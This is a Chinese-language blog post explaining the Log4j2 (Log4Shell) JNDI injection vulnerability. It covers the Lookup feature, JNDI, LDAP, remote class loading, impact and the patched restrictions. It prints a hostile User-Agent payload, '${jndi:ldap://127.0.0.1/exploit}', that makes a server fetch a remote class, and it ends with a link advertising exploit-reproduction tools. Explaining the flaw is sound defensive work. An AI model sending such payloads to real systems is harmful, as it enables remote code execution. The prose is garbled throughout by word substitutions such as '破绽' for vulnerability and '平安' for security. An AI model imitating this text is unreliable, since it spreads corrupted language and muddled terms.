共计 3093 个字符,预计需要花费 8 分钟才能阅读完成。
大家好,我是周杰伦。
置信大家这两天应该被这么一条新闻刷屏了:
这个破绽到底是怎么回事?
核弹级,真的有那么厉害吗?
怎么利用这个破绽呢?
我看了很多技术剖析文章,都太过业余,很多非 Java 技术栈或者不搞平安的人只能看个只知其一; 不知其二,导致大家只能看个冷落,对这个破绽的成因、原理、利用形式、影响面了解的不到位。
这篇文章,我尝试让所有技术相干的敌人都能看懂:这个注定会载入网络安全史册上的破绽,到底是怎么一回事!
log4j2
不论是什么编程语言,不论是前端后端还是客户端,对 打日志 都不会生疏。
通过日志,能够帮忙咱们理解程序的运行状况,排查程序运行中呈现的问题。
在 Java 技术栈中,用的比拟多的日志输入框架次要是 log4j2 和logback。
明天探讨的配角就是log4j2。
咱们常常会在日志中输入一些变量,比方:
logger.info("client ip: {}", clientIp)
当初思考一个问题:
如果当初想要通过日志输入一个 Java 对象,但这个对象不在程序中,而是在其余中央,比方可能在某个文件中,甚至可能在网络上的某个中央,这种时候怎么办呢?
log4j2 的弱小之处在于,除了能够输入程序中的变量,它还提供了一个叫 Lookup 的货色,能够用来输入更多内容:
lookup,顾名思义就是查找、搜寻的意思,那在 log4j2 中,就是容许在输入日志的时候,通过某种形式去查找要输入的内容。
lookup 相当于是一个接口,具体去哪里查找,怎么查找,就须要编写具体的模块去实现了,相似于面向对象编程中多态那意思。
好在,log4j2 曾经帮咱们把常见的查找路径都进行实现了:
具体每一个的意思,这里就不详述了,这不是本文的重点。
JNDI
次要来看其中那个叫 JNDI 的货色:
JNDI 即
Java Naming and Directory Interface
(JAVA 命名和目录接口),它提供一个目录零碎,并将服务名称与对象关联起来,从而使得开发人员在开发过程中能够应用名称来拜访对象。
看不懂?看不懂就对了!
简略粗犷了解:有一个相似于字典的数据源,你能够通过 JNDI 接口,传一个 name 进去,就能获取到对象了。
那不同的数据源必定有不同的查找形式,所以 JNDI 也只是一个下层封装,在它上面也反对很多种具体的数据源。
LDAP
持续把眼光聚焦,咱们只看这个叫 LDAP
的货色。
LDAP 即
Lightweight Directory Access Protocol
(轻量级目录拜访协定),目录是一个为查问、浏览和搜寻而优化的业余分布式数据库,它呈树状构造组织数据,就好象 Linux/Unix 零碎中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等简单性能,不适于存储批改频繁的数据。所以目录天生是用来查问的,就如同它的名字一样。
看不懂?看不懂就对了!
这个货色用在对立身份认证畛域比拟多,但明天也不是这篇文章的重点。你只须要简略粗犷了解:有一个相似于字典的数据源,你能够通过 LDAP 协定,传一个 name 进去,就能获取到数据。
破绽原理
好了,有了以上的根底,再来了解这个破绽就很容易了。
如果某一个 Java 程序中,将浏览器的类型记录到了日志中:
String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);
网络安全中有一个准则:不要信赖用户输出的任何信息。
这其中,User-Agent
就属于外界输出的信息,而不是本人程序里定义进去的。只有是外界输出的,就有可能存在歹意的内容。
如果有人发来了一个 HTTP 申请,他的 User-Agent
是这样一个字符串:
${jndi:ldap://127.0.0.1/exploit}
接下来,log4j2 将会对这行要输入的字符串进行解析。
首先,它发现了字符串中有 ${},晓得这个外面包裹的内容是要独自解决的。
进一步解析,发现是 JNDI 扩大内容。
再进一步解析,发现了是 LDAP 协定,LDAP 服务器在 127.0.0.1,要查找的 key 是 exploit。
最初,调用具体负责 LDAP 的模块去申请对应的数据。
如果只是申请一般的数据,那也没什么,但问题就出在还能够申请 Java 对象!
Java 对象个别只存在于内存中,但也能够通过序列化的形式将其存储到文件中,或者通过网络传输。
如果是本人定义的序列化形式也还好,但更危险的在于:JNDI 还反对一个叫命名援用(Naming References)的形式,能够通过近程下载一个 class 文件,而后下载后加载起来构建对象。
PS:有时候 Java 对象比拟大,间接通过 LDAP 这些存储不不便,就整了个相似于二次跳转的意思,不间接返回对象内容,而是通知你对象在哪个 class 里,让你去那里找。
留神,这里就是外围问题了:JNDI 能够近程下载 class 文件来构建对象!!!。
危险在哪里?
如果近程下载的 URL 指向的是一个黑客的服务器,并且下载的 class 文件外面藏有恶意代码,那不就完犊子了吗?
还没看懂?没关系,我画了一张图:
这就是鼎鼎大名的 JNDI 注入攻打!
其实除了 LDAP,还有 RMI 的形式,有趣味的能够理解下。
JNDI 注入
其实这种攻打手法不是这一次呈现了,早在 2016 的 blackhat 大会上,就有大佬披露了这种攻击方式。
回过头来看,问题的外围在于:
Java 容许通过 JNDI 近程去下载一个 class 文件来加载对象,如果这个近程地址是本人的服务器,那还好说,如果是能够被外界来指定的地址,那就要出大问题!
后面的例子中,始终用的 127.0.0.1 来代替 LDAP 服务器地址,那如果输出的 User-Agent 字符串中不是这个地址,而是一个歹意服务器地址呢?
影响规模
这一次破绽的影响面之所以如此之大,次要还是 log4j2 的应用面切实是太广了。
一方面当初 Java 技术栈在 Web、后端开发、大数据等畛域利用十分宽泛,国内除了阿里巴巴、京东、美团等一大片以 Java 为次要技术栈的公司外,还有多如牛毛的中小企业抉择 Java。
另一方面,还有好多像 kafka、elasticsearch、flink 这样的大量中间件都是用 Java 语言开发的。
在下面这些开发过程中,大量应用了 log4j2 作为日志输入。只有一个不当心,输入的日志有内部输出混进来,那间接就是近程代码执行 RCE,灭顶之灾!
修复
新版的 log4j2 曾经修复了这个问题,大家连忙降级。
上面是 log4j2 官网中对于 JNDI lookup 的阐明:
我通过搜索引擎找到了缓存的 12 月 10 号前的快照,大家比照一下,比起上面这个缓存,下面那一版多了哪些货色?答案是:修复后的 log4j2 在 JNDI lookup 中减少了很多的限度:
答案是:修复后的 log4j2 在 JNDI lookup 中减少了很多的限度:
默认不再反对二次跳转(也就是命名援用)的形式获取对象
只有在 log4j2.allowedLdapClasses 列表中指定的 class 能力获取。
只有近程地址是本地地址或者在 log4j2.allowedLdapHosts 列表中指定的地址能力获取
以上几道限度,算是彻底封闭了通过打印日志去近程加载 class 的这条路了。
最初,手机前的各位 Java 小伙伴儿们,你们写的程序中有用到 log4j2 吗,有没有某个中央的输入,有内部的参数混进来呢?
连忙查看查看哦!
另外有想本人复现这个破绽的同学能够支付一份 破绽复现,修复材料,代码工具的材料
点击下方传送门即可收费支付
【破绽复现,修复材料,代码工具】
大家弄懂这个破绽了吗?如果感觉写得还不错,欢送分享转发,顺便给俺点个赞,感激大家的浏览。